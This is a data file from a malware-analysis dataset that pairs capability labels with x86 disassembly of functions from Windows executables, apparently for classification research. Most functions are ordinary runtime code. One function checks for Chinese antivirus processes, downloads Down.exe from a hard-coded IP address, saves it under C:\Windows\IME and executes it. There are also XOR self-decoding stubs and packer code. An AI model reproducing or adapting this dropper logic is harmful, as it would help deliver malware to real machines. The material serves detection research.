joyce8/EMBER2024-capa huggingface dataset:
Function at 0x428dd0
Capabilities:
Terminate process

Disassembly:
sub esp, 0xc
lea eax, [esp + 4]
lea ecx, [esp]
lea edx, [esp + 8]
push ebx
push esi
push eax
push ecx
push edx
xor ebx, ebx
call fcn.0043f440
add esp, 0xc
call fcn.0043d780
test eax, eax
je 0x428dfc
call fcn.0043f470
push 0x522168
call fcn.004bdc72
mov eax, dword [esp + 0xc]
add esp, 4
test eax, eax
je 0x428ebc
cmp eax, 0x517ac8
je 0x428ebc
cmp dword [eax + 4], 0x519b58
jne 0x428e67
push str.code
push eax
call fcn.0044c2a0
mov esi, eax
mov eax, dword [esp + 0x10]
add esp, 8
test esi, esi
je 0x428e67
mov edx, dword [eax]
dec edx
mov dword [eax], edx
mov eax, dword [esp + 8]
cmp dword [eax], 0
jne 0x428e59
mov ecx, dword [eax + 4]
push eax
call dword [ecx + 0x18]
add esp, 4
mov eax, esi
cmp esi, 0x517ac8
mov dword [esp + 8], eax
je 0x428ebc
mov ecx, dword [eax + 4]
cmp ecx, 0x518248
je 0x428ead
push 0x518248
push ecx
call fcn.004412d0
add esp, 8
test eax, eax
jne 0x428ea9
mov edx, dword [esp + 8]
push 1
push 0x522188
push edx
call fcn.0044aee0
push 0x4f11dc
call fcn.0047bb80
add esp, 0x10
mov ebx, 1
jmp 0x428eb8
mov eax, dword [esp + 8]
push eax
call fcn.004528c0
add esp, 4
mov ebx, eax
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
push ecx
push eax
push edx
call fcn.0043efe0
add esp, 0xc
call fcn.0043f470
mov eax, dword [0x52b264]
test eax, eax
je 0x42902e
push str.exitfunc
call fcn.0047adc0
mov esi, eax
add esp, 4
test esi, esi
je 0x428f50
mov eax, dword [esi]
push 0
inc eax
push str.exitfunc
mov dword [esi], eax
call fcn.0047ade0
push 0
push 0
push esi
call fcn.0043d7c0
add esp, 0x14
test eax, eax
jne 0x428f3f
mov eax, dword [0x52d280]
push eax
call fcn.0043f1d0
add esp, 4
test eax, eax
jne 0x428f35
push str.Error_in_sys.exitfunc:_n
call fcn.0047bb80
add esp, 4
push 1
call fcn.00428b40
add esp, 4
mov eax, dword [esi]
dec eax
mov dword [esi], eax
jne 0x428f50
mov ecx, dword [esi + 4]
push esi
call dword [ecx + 0x18]
add esp, 4
call fcn.0043d780
test eax, eax
je 0x428f5e
call fcn.0043f470
mov dword [0x52b264], 0
call fcn.00481140
mov esi, dword [eax + 4]
call fcn.0047ea80
mov eax, dword [0x52b260]
test eax, eax
je 0x428f97
mov edx, dword [eax]
dec edx
mov dword [eax], edx
mov eax, dword [0x52b260]
cmp dword [eax], 0
jne 0x428f97
mov edx, dword [eax + 4]
push eax
call dword [edx + 0x18]
add esp, 4
mov dword [0x52b260], 0
call fcn.00451030
call fcn.00468910
call fcn.00468860
call fcn.00452720
push esi
call fcn.00480dd0
push 0
call fcn.00481160
push esi
call fcn.00480ea0
call fcn.00479de0
call fcn.00480d30
call fcn.00481ab0
call fcn.0047ac60
call fcn.004623d0
call fcn.00454c90
call fcn.0045c100
push 0x51d3d8
call fcn.00481410
mov eax, dword [0x52b26c]
add esp, 0x10
test eax, eax
jle 0x429017
dec eax
mov dword [0x52b26c], eax
call dword [eax*4 + 0x52b1d8]
mov eax, dword [0x52b26c]
test eax, eax
jg 0x429001
push 0x522168
call fcn.004bdc72
push 0x522188
call fcn.004bdc72
add esp, 8
push ebx
call fcn.004bd71a
pop esi
pop ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x429c50
Capabilities:
Print debug messages

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
push str.Fatal_Python_error:__s_n
push 0x522188
call fcn.004bd9a2
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0xc
push str.Fatal_Python_error:
call esi
push edi
call esi
push 0x4f11dc
call esi
jmp fcn.004bd98b
Function at 0x455610
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x10
xor ecx, ecx
mov eax, dword [eax + 8]
push ebx
push ebp
push esi
cmp eax, ecx
push edi
mov ebp, 1
jge 0x45565c
neg eax
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x34]
cmp eax, ecx
jne 0x455656
mov ecx, dword [0x52d244]
push str.cant_convert_negative_long_to_unsigned
push ecx
call fcn.0043f0c0
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov dword [esp + 0x10], ebp
jmp 0x455664
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ecx
cmp dword [esp + 0x30], ecx
je 0x455670
mov esi, dword [esp + 0x28]
jmp 0x45567f
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x2c]
or ebp, 0xffffffff
lea esi, [edx + eax - 1]
mov eax, dword [esp + 0x10]
xor edi, edi
xor ebx, ebx
xor edx, edx
test eax, eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x18], ebp
setne dl
test eax, eax
mov dword [esp + 0x1c], edi
mov dword [esp + 0x30], edx
mov dword [esp + 0x28], ebx
jle 0x455789
mov eax, dword [esp + 0x24]
add eax, 0xc
mov dword [esp + 0x24], eax
mov edx, dword [esp + 0x24]
xor eax, eax
mov ax, word [edx]
mov edx, dword [esp + 0x10]
test edx, edx
je 0x4556df
mov edx, dword [esp + 0x30]
xor eax, 0x7fff
add eax, edx
mov edx, eax
shr edx, 0xf
mov dword [esp + 0x30], edx
and eax, 0x7fff
mov edx, eax
shl edx, cl
add ecx, 0xf
or ebx, edx
mov edx, dword [esp + 0x14]
dec edx
cmp dword [esp + 0x28], edx
jne 0x455728
mov ebp, dword [esp + 0x10]
mov edx, 0
shl eax, 0x11
mov edi, eax
mov eax, edx
sets al
cmp eax, ebp
jne 0x45571e
cmp edx, 0xf
jae 0x45571e
inc edx
add edi, edi
mov eax, 0
sets al
cmp eax, ebp
je 0x45570a
mov ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x1c]
sub ecx, edx
cmp ecx, 8
jb 0x455747
cmp edi, dword [esp + 0x2c]
jae 0x4557ad
mov byte [esi], bl
sub ecx, 8
inc edi
add esi, ebp
shr ebx, 8
cmp ecx, 8
mov dword [esp + 0x1c], edi
jae 0x45572d
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
add edx, 2
inc eax
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x14]
cmp eax, edx
mov dword [esp + 0x28], eax
jl 0x4556b5
test ecx, ecx
jbe 0x455789
mov edx, dword [esp + 0x2c]
cmp edi, edx
jae 0x4557ad
mov eax, dword [esp + 0x10]
inc edi
test eax, eax
je 0x455783
or eax, 0xffffffff
shl eax, cl
or ebx, eax
mov byte [esi], bl
add esi, ebp
jmp 0x4557d0
mov eax, dword [esp + 0x2c]
cmp edi, eax
jne 0x4557cc
test eax, eax
jbe 0x4557cc
mov eax, dword [esp + 0x34]
test eax, eax
je 0x4557cc
sub esi, ebp
mov eax, dword [esp + 0x10]
cmp byte [esi], 0x80
sbb ecx, ecx
inc ecx
cmp ecx, eax
je 0x4557ec
mov edx, dword [0x52d22c]
push str.long_too_big_to_convert
push edx
call fcn.0043f0c0
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x10]
neg eax
sbb al, al
and eax, 0xff
cmp edi, edx
jae 0x4557ec
sub edx, edi
mov ecx, edx
mov byte [esi], al
add esi, ebp
dec ecx
jne 0x4557e5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
Function at 0x4af6a0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov eax, dword [edi + 8]
mov dword [edi + 0xc], ebx
cmp eax, ebx
je 0x4af6c7
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov eax, dword [edi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [edi + 8], ebx
mov eax, dword [edi + 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x4af6da
push eax
call esi
mov dword [edi + 4], ebx
mov eax, dword [edi]
cmp eax, 0xffffffff
je 0x4af6ea
push eax
call esi
mov dword [edi], 0xffffffff
mov esi, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
cmp esi, ebx
mov ebx, dword [esp + 0x1c]
je 0x4af76d
xor eax, eax
xor ecx, ecx
cmp ebp, 1
je 0x4af711
jle 0x4af71b
cmp ebp, 3
jg 0x4af71b
mov eax, 0xc0000000
jmp 0x4af716
mov eax, 0x80000000
mov ecx, 1
xor edx, edx
cmp ebx, 0xffffffff
setne dl
push 0
add edx, 3
push 0x10000000
push edx
push 0
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [edi], eax
je 0x4af7d3
cmp ebx, 0xffffffff
mov dword [edi + 0xc], ebx
push 0
jne 0x4af75a
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [edi + 0xc], eax
jmp 0x4af76d
push 0
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
and ebp, 2
mov ecx, 0
setne cl
test esi, esi
lea ecx, [ecx + ecx + 2]
jne 0x4af785
or eax, 0xffffffff
jmp 0x4af787
mov eax, dword [edi]
mov edx, dword [esp + 0x20]
mov esi, ebx
inc esi
push edx
neg esi
sbb esi, esi
and esi, ebx
push esi
push 0
push ecx
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [edi + 4], eax
je 0x4af7d3
neg ebp
sbb ebp, ebp
push esi
and ebp, 0xf001b
push 0
add ebp, 4
push 0
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
mov dword [edi + 8], eax
je 0x4af7d3
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret 0x10
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret 0x10
Function at 0x4c35c6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x5229a0
cmp edx, dword [eax]
je 0x4c35e8
add eax, 8
inc ecx
cmp eax, 0x522a30
jl 0x4c35d9
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x5229a0]
jne 0x4c3716
mov eax, dword [0x52ccc8]
cmp eax, 1
je 0x4c36f0
test eax, eax
jne 0x4c3619
cmp dword [0x5220b4], 1
je 0x4c36f0
cmp edx, 0xfc
je 0x4c3716
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4c3650
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004c84f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004c1350
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4c3693
lea eax, [ebp - 0x1a4]
push eax
call fcn.004c1350
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4ff73c
push edi
call fcn.004bba60
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004c84f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004c8500
lea eax, [ebp - 0xa0]
push 0x4ff71c
push eax
call fcn.004c8500
push dword [esi + 0x5229a4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004c8500
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004c9e77
add esp, 0x2c
pop edi
jmp 0x4c3716
lea eax, [ebp + 8]
lea esi, [esi + 0x5229a4]
push 0
push eax
push dword [esi]
call fcn.004c1350
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x4c902e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4c904e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004be67b
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x4c9071
test byte [esp + 8], 2
je 0x4c9071
call fcn.004be6ee
mov dword [eax], 0xd
call fcn.004be6f7
mov dword [eax], 5
jmp 0x4c904a
xor eax, eax
ret
Function at 0x4cc730
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10
mov edx, dword [esp + 0x18]
push ebx
push ebp
push esi
xor esi, esi
push edi
mov dword [edx + 8], esi
mov dword [edx + 0xc], esi
mov ecx, dword [ecx + 8]
xor al, al
mov dword [esp + 0x1c], ecx
mov edx, dword [ecx + 8]
add edx, ecx
mov ecx, dword [esp + 0x24]
mov edi, ecx
cmp ecx, esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], edi
je 0x4cc83c
mov al, byte [edi]
mov ecx, edi
test al, al
je 0x4cc77f
cmp al, 0x5c
je 0x4cc79e
cmp al, 0x2f
je 0x4cc79e
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x4cc76f
mov dword [esp + 0x18], esi
mov ecx, esi
cmp ecx, esi
setne byte [esp + 0x24]
cmp ecx, esi
jne 0x4cc7a4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
jmp 0x4cc7a8
mov dword [esp + 0x18], ecx
jmp 0x4cc785
mov ebx, ecx
sub ebx, edi
xor ebp, ebp
cmp ebx, esi
jbe 0x4cc7d8
mov eax, dword [esp + 0x10]
movsx ax, byte [esi + eax]
and eax, 0xffff
push eax
call dword [0x526c70]
movsx ecx, al
mov edx, ebp
shl edx, 8
xor ecx, edx
xor ebp, ecx
inc esi
cmp esi, ebx
jb 0x4cc7ae
mov edx, dword [esp + 0x14]
mov cl, byte [edx]
mov eax, 1
shl eax, cl
mov ecx, dword [edx + 2]
dec eax
and eax, ebp
lea eax, [ecx + eax*8]
mov ecx, dword [esp + 0x1c]
add eax, ecx
mov esi, dword [eax]
mov edi, dword [eax + 4]
add esi, ecx
xor ecx, ecx
mov cx, word [edx + 0xe]
imul edi, ecx
add edi, esi
cmp edi, esi
jbe 0x4cc83a
cmp ebp, dword [esi + 2]
jne 0x4cc82e
xor eax, eax
mov ax, word [esi]
cmp ebx, eax
jne 0x4cc82e
mov ecx, dword [esp + 0x10]
push ebx
lea edx, [esi + 0xf]
push ecx
push edx
call fcn.004cbf80
add esp, 0xc
test eax, eax
je 0x4cc846
mov edx, dword [esp + 0x14]
xor eax, eax
mov ax, word [edx + 0xe]
add esi, eax
cmp edi, esi
ja 0x4cc806
xor al, al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
mov al, byte [esp + 0x24]
test al, al
je 0x4cc89d
mov al, byte [esi + 6]
test al, al
je 0x4cc83a
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x10], ecx
mov al, byte [ecx]
test al, al
je 0x4cc83a
cmp al, 0x5c
je 0x4cc86b
cmp al, 0x2f
jne 0x4cc881
mov al, byte [ecx + 1]
inc ecx
test al, al
mov dword [esp + 0x10], ecx
jne 0x4cc863
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8
mov esi, dword [esi + 0xb]
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
add esi, eax
mov dword [esp + 0x14], esi
xor esi, esi
mov edx, dword [esp + 0x14]
jmp 0x4cc767
mov eax, dword [esp + 0x28]
mov ecx, dword [esi + 7]
pop edi
mov dword [eax + 8], ecx
mov edx, dword [esi + 0xb]
mov ecx, dword [esp + 0x18]
pop esi
add edx, ecx
pop ebp
mov dword [eax + 0xc], edx
mov al, 1
pop ebx
add esp, 0x10
ret 8
Function at 0x4cd6c0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x4cd6f0
push esi
call fcn.004cdbc0
mov al, byte [esi + 0x40]
add esp, 4
test al, al
je 0x4cd6e9
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x4cd773
mov eax, dword [esi + 0x190]
mov cl, byte [eax + 0x10]
test cl, cl
je 0x4cd75f
mov eax, dword [esi + 8]
test eax, eax
je 0x4cd714
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x190]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4cd75b
cmp eax, 2
je 0x4cd75f
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4cd707
cmp eax, 3
je 0x4cd73a
cmp eax, 1
jne 0x4cd707
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4cd707
mov edx, dword [esi + 0x11c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4cd707
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
push esi
mov dword [esi + 0x84], eax
call fcn.004cd7a0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4cd793
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x14
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
call dword [ecx]
add esp, 4
push esi
call fcn.004cd7a0
add esp, 4
pop esi
ret

Function at 0x4e9500
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x4e950b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x4e960e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x502cb8]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x502cb8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x502cb8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x502cb8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x502cb8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x502cb8]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x502cb8]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x502cb8]
xor eax, edx
inc ecx
dec edi
jne 0x4e9526
pop edi
test esi, esi
je 0x4e9630
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x502cb8]
xor eax, edx
inc ecx
dec esi
jne 0x4e9612
pop esi
pop ebx
not eax
ret
Function at 0x5d3d40
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1ce000]
push edi
jmp 0x5d3d5a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5d3d61
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5d3d50
mov eax, 1
add ebx, ebx
jne 0x5d3d73
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5d3d84
jne 0x5d3da3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5d3da3
dec eax
add ebx, ebx
jne 0x5d3d90
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5d3d68
add ebx, ebx
jne 0x5d3d9f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5d3df5
xor ecx, ecx
sub eax, 3
jb 0x5d3dbb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5d3e2a
sar eax, 1
mov ebp, eax
jmp 0x5d3dc6
add ebx, ebx
jne 0x5d3dc6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5d3d94
inc ecx
add ebx, ebx
jne 0x5d3dd4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5d3d94
add ebx, ebx
jne 0x5d3de1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x5d3dd6
jne 0x5d3df2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x5d3dd6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5d3e14
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5d3e06
jmp 0x5d3d56
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5d3e14
add edi, ecx
jmp 0x5d3d56
pop esi
mov edi, esi
mov ecx, 0x255
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5d3e32
cmp byte [edi], 1
jne 0x5d3e32
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5d3e37
lea edi, [esi + 0x1d1000]
mov eax, dword [edi]
or eax, eax
je 0x5d3eaf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1f674c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1f6800]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5d3e64
mov ecx, edi
jns 0x5d3e93
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1f6804]
or eax, eax
je 0x5d3ea9
mov dword [ebx], eax
add ebx, 4
jmp 0x5d3e81
call dword [esi + 0x1f6814]
mov ebp, dword [esi + 0x1f6808]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5d3ee3
sub esp, 0xffffff80
jmp 0x40354b
Function at 0x10001000
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x10017004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x124
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x130], 0x128
push 0
push eax
mov ebx, ecx
call fcn.10002050
add esp, 0xc
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10001082
mov esi, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
lea eax, [ebp - 0x10c]
push ebx
push eax
call fcn.10003b30
add esp, 8
test eax, eax
je 0x10001095
lea eax, [ebp - 0x130]
push eax
push edi
call esi
test eax, eax
jne 0x10001060
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000124b
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x128]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1000124b
mov esp, ebp
pop ebp
ret
Function at 0x100010b0
Capabilities:
Create http request
Create process on windows
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x438
mov eax, dword [0x10017004]
xor eax, esp
mov dword [esp + 0x434], eax
cmp dword [ebp + 0xc], 1
push esi
push edi
jne 0x10001230
mov ecx, str.360tray.exe
call section..text
test eax, eax
je 0x100010fe
push str.logoff_1
call fcn.100037e9
add esp, 4
push str.logoff_2
call fcn.100037e9
add esp, 4
mov ecx, str.360sd.exe
call section..text
test eax, eax
je 0x10001126
push str.logoff_1
call fcn.100037e9
add esp, 4
push str.logoff_2
call fcn.100037e9
add esp, 4
mov ecx, str.QQPCTray.exe
call section..text
test eax, eax
je 0x1000114e
push str.logoff_1
call fcn.100037e9
add esp, 4
push str.logoff_2
call fcn.100037e9
add esp, 4
movups xmm0, xmmword [str.http:__44.199.117.83_Down.exe]
push 0
push 0
push 0
movups xmmword [esp + 0x1c], xmm0
push 0
movups xmm0, xmmword [0x10015bc8]
push str.RookIE_1.0
mov dword [esp + 0x1c], 1
movups xmmword [esp + 0x34], xmm0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0xc], eax
test eax, eax
je 0x1000121b
push 0
push 0x4000000
push 0
push 0
lea ecx, [esp + 0x20]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x10001211
push 0x10015bfc
push str.C:WindowsIMEx1.exe
call fcn.100035e1
mov esi, eax
add esp, 8
test esi, esi
je 0x1000120a
cmp dword [esp + 8], 0
jbe 0x10001201
nop dword [eax]
lea eax, [esp + 8]
push eax
push 0x3ff
lea eax, [esp + 0x40]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
push esi
push dword [esp + 0xc]
lea eax, [esp + 0x40]
push 1
push eax
call fcn.10003a0d
add esp, 0x10
cmp dword [esp + 8], 0
ja 0x100011d0
push esi
call fcn.1000366f
add esp, 4
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [esp + 0xc]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.C:WindowsIMEx1.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [esp + 0x43c]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.1000124b
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4390f8
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.0043917b
jae 0x439106
xor ecx, ecx
call fcn.0043917b
jae 0x439135
xor eax, eax
call fcn.0043917b
jae 0x439145
mov bl, 2
inc ecx
mov al, 0x10
call fcn.0043917b
adc al, al
jae 0x439127
jne 0x439171
stosb byte es:[edi], al
jmp 0x439109
call fcn.00439187
sub ecx, ebx
jne 0x43914e
call fcn.00439185
jmp 0x43916d
lodsb al, byte [esi]
shr eax, 1
je 0x439197
adc ecx, ecx
jmp 0x43916a
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.00439185
cmp eax, 0x7d00
jae 0x43916a
cmp ah, 5
jae 0x43916b
cmp eax, 0x7f
ja 0x43916c
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x439109
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret
Function at 0x40204e
Capabilities:
Encode data using xor

Disassembly:
inc ecx
pop esi
xor byte [esi + ecx + 7], cl
loop 0x402051
mov eax, 0x5047cce
out dx, al
clc
div esi
cmc
retf 0x3d52

Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
